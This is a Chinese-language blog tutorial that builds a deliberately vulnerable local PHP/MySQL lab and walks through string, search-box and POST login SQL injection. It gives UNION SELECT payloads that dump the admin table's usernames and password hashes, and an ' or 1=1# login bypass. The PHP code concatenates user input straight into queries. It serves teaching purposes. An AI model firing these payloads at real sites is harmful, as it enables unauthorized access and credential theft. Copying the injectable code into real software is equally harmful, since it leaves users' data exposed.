数字型
数字型在上一篇文章sql注入之入门,已经讲过
数字型简单的判断是否有注入
1 | and 1=1 //返回正常 |
字符串型
如何判断字符串型是否有注入
首先先创建一个数据库,在里面分别创建两个表,admin,page,然后在里面插入数据1
2
3
4
5
6
7
8
9
10
11
12
13
14mysql> create database sqlinstr default character set utf8 collate utf8_general_ci;
mysql> use sqlinstr;
mysql> create table admin(
id int(3) auto_increment not null primary key,
username varchar(15) not null,
password char(32));
mysql> create table page(
id int(3) auto_increment not null primary key,
title varchar(20),
content varchar(255));
mysql> insert into admin(username,password) values('smelond','efe6398127928f1b2e9ef3207fb82663');
mysql> insert into admin(username,password) values('admin','efe6398127928f1b2e9ef3207fb82663');
mysql> insert into page(title,content) values('sqlzhuru','https://smelond.com');
mysql> insert into page(title,content) values('test','smelond.com');
拿着我们的php代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<title>sql注入-注入类型-字符串</title>
</head>
<body>
<!--
author: smelond
filename: index.php
blog: http://smelond.com
sql注入-注入类型-字符串
-->
<body/>
</html>
$id = $_GET['x'];
$link=mysqli_connect("127.0.0.1","root","root","sqlinstr");//连接sqlinstr数据库
if ($link) {//判断数据库是否存在
mysqli_query($link,"set names utf8");//设置编码格式
$sql="select * from page where id='$id'";//查询
$re=mysqli_query($link,$sql);//执行查询语句
$data=mysqli_fetch_assoc($re);//获取数据库返回的内容
echo "文章id:".$data['id']."<hr />";
echo "文章标题:".$data['title']."<hr />";
echo "文章内容:".$data['content']."<hr />";
echo "当前执行sql语句:".$sql;
}else{
echo "好像出错了,原因有很多...所以你先去看看你的数据库配置好没。。。";
}
打开我们的网址http://127.0.0.1/webpentest/str/index.php
打开会后看到下面的当前执行sql语句:select * from page where id=’’
传值进去:
文章id:1文章标题:sqlzhuru
文章内容:https://smelond.com
当前执行sql语句:select * from page where id=’1’
这个时候内容已经查询出来了,但是发现后面的id=’1’,1被单引号括起来了
如何注入
首先我们试试:
and 1=11
2http://127.0.0.1/webpentest/str/index.php?x=1 and 1=1 //结果返回正常
当前执行sql语句:select * from page where id='1 and 1=1' //有没有发现这里怪怪的
and 1=21
2http://127.0.0.1/webpentest/str/index.php?x=1 and 1=2 //结果还是返回正常,难道没有注入???
当前执行sql语句:select * from page where id='1 and 1=2'
从上面我们看到:id=’1 and 1=1’ 和 id=’1 and 1=2’,发现我们输入进去的内容全部被’’包裹起来了
那为什么会返回正常呢?
打开mysql:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15mysql> select id from page where id='1 and 1=1';
+----+
| id |
+----+
| 1 |
+----+
1 row in set, 1 warning (0.00 sec)
mysql> select id from page where id='1 and 1=2';
+----+
| id |
+----+
| 1 |
+----+
1 row in set, 1 warning (0.00 sec)
这回知道为什么会有返回值了吧,可以看出空格后面的应该是直接被截断了,所有理论上查询的还是id=1
如何突破
由于看到上面每一条sql语句后面都有一个’单引号,前面也有一个
所以我们可以在id=1后面加上一个’单引号,看一下是什么效果1
http://127.0.0.1/webpentest/str/index.php?x=1'
当我们执行这个网址时,发现页面报错了,这个时候应该就可以判断是否有注入了
报错,表示他应该是从数据库里面查询的
报错信息:1
Warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, boolean given in D:\phpStudy\PHPTutorial\WWW\webpentest\str\index.php on line 21
下面有当前执行sql语句:select * from page where id=’1’’
可以看到1’成功的带入进去了
接下来继续构造注入语句:1
2x=1' and '1'='1
http://127.0.0.1/webpentest/str/index.php?x=1' and '1'='1
那么执行的语句将会是这样的1
当前执行sql语句:select * from page where id='1' and '1'='1'
上面我们又看到id=’1’ and ‘1’=’1’,并且页面返回正常了,这回没毛病了吧,哈哈哈!!!
接着构造语句:1
x=1' and '1'='2
执行语句:1
http://127.0.0.1/webpentest/str/index.php?x=1' and '1'='2
现在已经有了我们想要的结果了,页面没有正常显示
当前执行的sql语句:1
select * from page where id='1' and '1'='2'
使用一些常用的关键字
那么,order by在哪里加?在这里,其实order by是不起作用的
已经可以看出,and ‘1’=’1后面是不能加了,如果加上去,语句会变成
但是加到前面,无论order by number=? 都会是正常返回值,所以,这个地方order by不能用1
2
3
4
5select * from page where id='1' and '1'='1 order by 3'
select * from page where id='1' and '1'='2 order by 3'
http://127.0.0.1/webpentest/str/index.php?x=1' order by 3 and '1'='1 //页面返回正常
http://127.0.0.1/webpentest/str/index.php?x=1' order by 4 and '1'='1 //页面返回正常
http://127.0.0.1/webpentest/str/index.php?x=1' order by 100 and '1'='1 //页面返回正常
看到上面的100都能返回正常,但是我们数据库里面的page表只有3个字段,所以,可以看出order by在这里是有问题的
既然order by有问题,那我们试试select会怎么样?
1 | http://127.0.0.1/webpentest/str/index.php?x=1' and 1=2 union select 1 and '1'='1 //页面报错 |
select 已经判断出来了有三个字段,在一般情况下,select 1是不会报错的,在字段总数以前都不会报错,可能使我这里的php代码写的有问题,才导致了这种情况发生
接着查询一下数据库里版本,用户等等:1
http://127.0.0.1/webpentest/str/index.php?x=1' and 1=2 union select concat(database(),'---',user(),'---',version()),2,3 and '1'='2
剩下的爆库爆表前面里面已经说过了
但是有一个地方不同,在查询表时,后面的条件需要改动。
需要将and ‘1’=’2 改为where ‘1’=’1
为什么?
接下来我们又进入mysql中查询1
2
3
4
5mysql> select username,password from admin and '1'='2';
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'and '1'='2'' at line 1
那试试and '1'='1'
mysql> select username,password from admin and '1'='1';
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'and '1'='1'' at line 1
结果都报错了
那现在该怎么办呢?
所以我想问,你有见过查询语句完了之后在后面加上and的吗?
所以这个地方得加上条件where
如何加?
1=1 , ‘1’=’1’
所以可已用where ‘1’=’1’1
2
3
4
5
6
7
8mysql> select username,password from admin where '1'='1';
+----------+----------------------------------+
| username | password |
+----------+----------------------------------+
| smelond | efe6398127928f1b2e9ef3207fb82663 |
| admin | efe6398127928f1b2e9ef3207fb82663 |
+----------+----------------------------------+
2 rows in set (0.00 sec) //现在成功了吧
构造sql语句:1
http://127.0.0.1/webpentest/str/index.php?x=1' and 1=2 union select username,password,3 from admin where '1'='1
密码就这样爆出来了
搜索型
看了上面的字符串型,好像也不难,就是单引号问题
接下来,我们来看看搜索型
搜索型一般出现在搜索框当中,我这里写了一个简单的搜索页面标题,返回页面内容的php代码
数据库我们还是用上面的sqlinstr数据库
代码贴上:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<title>sql注入-注入类型-搜索型</title>
</head>
<body>
<!--
author: smelond
filename: index.php
blog: http://smelond.com
sql注入-注入类型-搜索型
-->
<form action="">
<input type="text" name="x" id=""> //文本框
<input type="submit" name="" id="" value="搜素"> //提交按钮
</form>
<body/>
</html>
$title = $_GET['x']; //接收x变量,上面文本框的值
$link=mysqli_connect("127.0.0.1","root","root","sqlinstr");//连接sqlinstr数据库
if ($link) {//判断数据库是否存在
mysqli_query($link,"set names utf8");//设置编码格式
$sql="select * from page where title like '%$title%'";//查询,使用了like关键字,查找输入的内容
if ($sql == "select * from page where title like '%%'") {
continue;
}
$re=mysqli_query($link,$sql);//执行查询语句
$data=mysqli_fetch_assoc($re);//获取数据库返回的内容
echo "文章id:".$data['id']."<hr />";
echo "文章标题:".$data['title']."<hr />";
echo "文章内容:".$data['content']."<hr />";
echo "当前执行sql语句:".$sql;
}else{
echo "好像出错了,原因有很多...所以你先去看看你的数据库配置好没。。。";
}
上面可以看到我们php代码里面的两个“%”百分号
查询语句将会为:select * from page where title like ‘%%’
如果我们在里面加入内容,查询语句将会为:1
select * from page where title like '%test%' //查询title='test'的内容
如何突破
突破其实也很简单,上面的字符串类型为’’
这里的搜索型为’%%’
那我们直接利用字符串的思路,将搜索%’闭合1
test%' and '100%'='100
那么我们构造执行的语句将会是这样的:1
http://127.0.0.1/webpentest/search/index.php?x=test%' and '100%'='100
语句结果:1
当前执行sql语句:select * from page where title like '%test%' and '100%'='100%' //正常返回,并且所搜到了test的内容,返回了页面内容
构造其他的语句:
1 | http://127.0.0.1/webpentest/search/index.php?x=test%' and 1=1 order by 4 and '100%'='100 //返回正确,显然order by还是不能用。。。 |
构造其他的语句就简单了
但是记得在爆库表爆字段,查询账号密码时记得额将and ‘100%’=’100改为where ‘100%’=’100
提交注入
两种常见的提交注入:分别是GET和POST
GET我们已经在上面说了,比如搜索框,还有就是在网址上,总之前面说到的所有注入全部都是GET型
我们可以从前面的php代码中发现这段代码1
$id = $_GET['x'];
那么,POST提交当然就是这样写的:1
$id = $_POST['x'];
很简单,直接将GET写为POST即可
这两种请求有什么区别?
听说这是标准答案:
- GET在浏览器回退时是无害的,而POST会再次提交请求。
- GET产生的URL地址可以被Bookmark,而POST不可以。
- GET请求会被浏览器主动cache,而POST不会,除非手动设置。
- GET请求只能进行url编码,而POST支持多种编码方式。
- GET请求参数会被完整保留在浏览器历史记录里,而POST中的参数不会被保留。
- GET请求在URL中传送的参数是有长度限制的,而POST么有。
- 对参数的数据类型,GET只接受ASCII字符,而POST没有限制。
- GET比POST更不安全,因为参数直接暴露在URL上,所以不能用来传递敏感信息。
- GET参数通过URL传递,POST放在Request body中。
有一篇文章99%的人理解错 HTTP 中 GET 与 POST 的区别,否定了上述回答:“很遗憾,这不是我们要的回答!”,作者说:
GET和POST本质上就是TCP链接,并无差别。但是由于HTTP的规定和浏览器/服务器的限制,导致他们在应用过程中体现出一些不同。 GET和POST还有一个重大区别,简单的说:GET产生一个TCP数据包;POST产生两个TCP数据包。对于GET方式的请求,浏览器会把http header和data一并发送出去,服务器响应200(返回数据); 而对于POST,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据)。
感觉这篇文章还是比较高大上的
这里先不扯这么多了,了解了post和get的区别之后我们来看看post提交注入
post提交注入
还是用前面用过的数据库sqlinstr,但是表用admin表,因为这是登录,需要验证是否登录成功,具体看代码
贴上我的html+php代码:
文件名:index.html登录页面1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<html>
<head>
<meta charset="utf-8">
<title>sql注入-POST提交注入-登录框</title>
</head>
<body>
<!--
author: smelond
filename: index.php
blog: http://smelond.com
sql注入-POST提交注入-登录框
-->
<div style="margin: 0px auto;width: 400px;text-align: center;">
<form action="index.php" method="POST">
<fieldset>
<legend>登录</legend>
<input type="text" name="username" placeholder="请输入用户名"><br>
<input type="password" name="password" placeholder="请输入密码"><br>
<input type="submit" name="sub" value="登录"><br>
</fieldset>
</form>
</div>
</body>
</html>
文件名:index.php后台页面1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<title>sql注入-POST提交注入-后台页面</title>
</head><body>
<!--
author: smelond
filename: index.php
blog: http://smelond.com
sql注入-POST提交注入-后台页面
-->
</body></html>
$username = $_POST['username'];
$password = $_POST['password'];
if ($username == '') {
exit("用户名不能为空");
}
if ($password == '') {
exit("密码不能为空");
}
$password = md5($password);
// echo "$password";
$link = mysqli_connect("127.0.0.1","root","root","sqlinstr");//连接sqlinstr数据库
if ($link) {//判断数据库是否存在
mysqli_query($link,"set names utf8");//设置编码格式
$sql = "select * from admin where username='$username' and password='$password'";//查询
$re = mysqli_query($link,$sql);//执行查询语句
$data = mysqli_fetch_assoc($re);//获取数据库返回的内容
if ($data) {//判断是否有返回值
// var_dump($data);
echo "后台页面:<br />";
echo "欢迎你:".$username;
}else{//否者错误
echo "用户名或密码不正确";
}
echo "<br />"."当前执行sql语句:".$sql;
}else{
echo "好像出错了,原因有很多...所以你先去看看你的数据库配置好没。。。";
}
现在打开我们的url:1
http://127.0.0.1/webpentest/postrequest/index.html
看到登录页面已经写好了,试着登录一下
登录成功
那么怎么绕过,直接登录呢?
从登陆页面的sql语句中可以看到语句为:1
select * from admin where username='smelond' and password='efe6398127928f1b2e9ef3207fb82663'
想了想,这个语句应该可以直接注释吧?
好了,返回index.html页面
我们去注释一下1
2账号:smelond#
密码:asdfas
发现登录失败
看看,我们只是单纯的在用户名后面加上了#号,那么现在语句变成了:1
select * from admin where username='smelond
看看我们构造的语句,明显不完整
那我们来构造一条完整的语句:1
2smelond'# //#号将后面的注释了
select * from admin where username='smelond' //所以语句直接变成了这个
一般我们会这样写:1
2smelond' or 1=1#
select * from admin where username='smelond' or 1=1
页面上显示了欢迎你,我们已经进入后台了
如果后台有查询数据库,那我们可以直接在登录页面将爆库,爆表,爆密码:
那我们将上面的后台代码修改一下,让他有数据库查询,并且回显:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42<!DOCTYPE html>
<html><head>
<meta charset="utf-8">
<title>sql注入-POST提交注入-后台页面</title>
</head><body>
<!--
author: smelond
filename: index.php
blog: http://smelond.com
sql注入-POST提交注入-后台页面
-->
</body></html>
$username = $_POST['username'];
$password = $_POST['password'];
if ($username == '') {
exit("用户名不能为空");
}
if ($password == '') {
exit("密码不能为空");
}
$password = md5($password);
// echo "$password";
$link = mysqli_connect("127.0.0.1","root","root","sqlinstr");//连接sqlinstr数据库
if ($link) {//判断数据库是否存在
mysqli_query($link,"set names utf8");//设置编码格式
$sql = "select * from admin where username='$username' and password='$password'";//查询
$re = mysqli_query($link,$sql);//执行查询语句
$data = mysqli_fetch_assoc($re);//获取数据库返回的内容
if ($data) {//判断是否有返回值
// var_dump($data);
echo "后台页面:<br />";
// echo "欢迎你:".$username;
echo "欢迎你:".$data['username']."<hr />"; //我们只修改了这句
}else{//否者错误
echo "用户名或密码不正确";
}
echo "<br />"."当前执行sql语句:".$sql;
}else{
echo "好像出错了,原因有很多...所以你先去看看你的数据库配置好没。。。";
}
上面我们只修改了一句,但是效果就不一样了
打开index.html
在账号框中输入:1
' and 1=2 union select 1,2,3 or 1=1#
这个时候,可以看到成功登录,并且用户名为:2
注意回显的是2,所以我们在登录框输入时,只能改动2,其他地方改动无效、
接着从新输入:1
' and 1=2 union select 1,database(),3 or 1=1#
用户名:sqlinstr
这个时候我们输入用concat是最好不过的了1
' and 1=2 union select 1,concat(database(),'---',user(),'---',version()),3 or 1=1#
爆账号密码:1
asd' and 1=1 union select 1,concat(username,'--',password),3 from admin where 1=1#asad
注意,在简单的查询语句后面不能加and 和 or ,所以我们这里加上了where
好了,差不多了,这个SQL注入类型就先说这么多~~
当然,注入里面还有其他的注入,比如:cookie注入,http头注入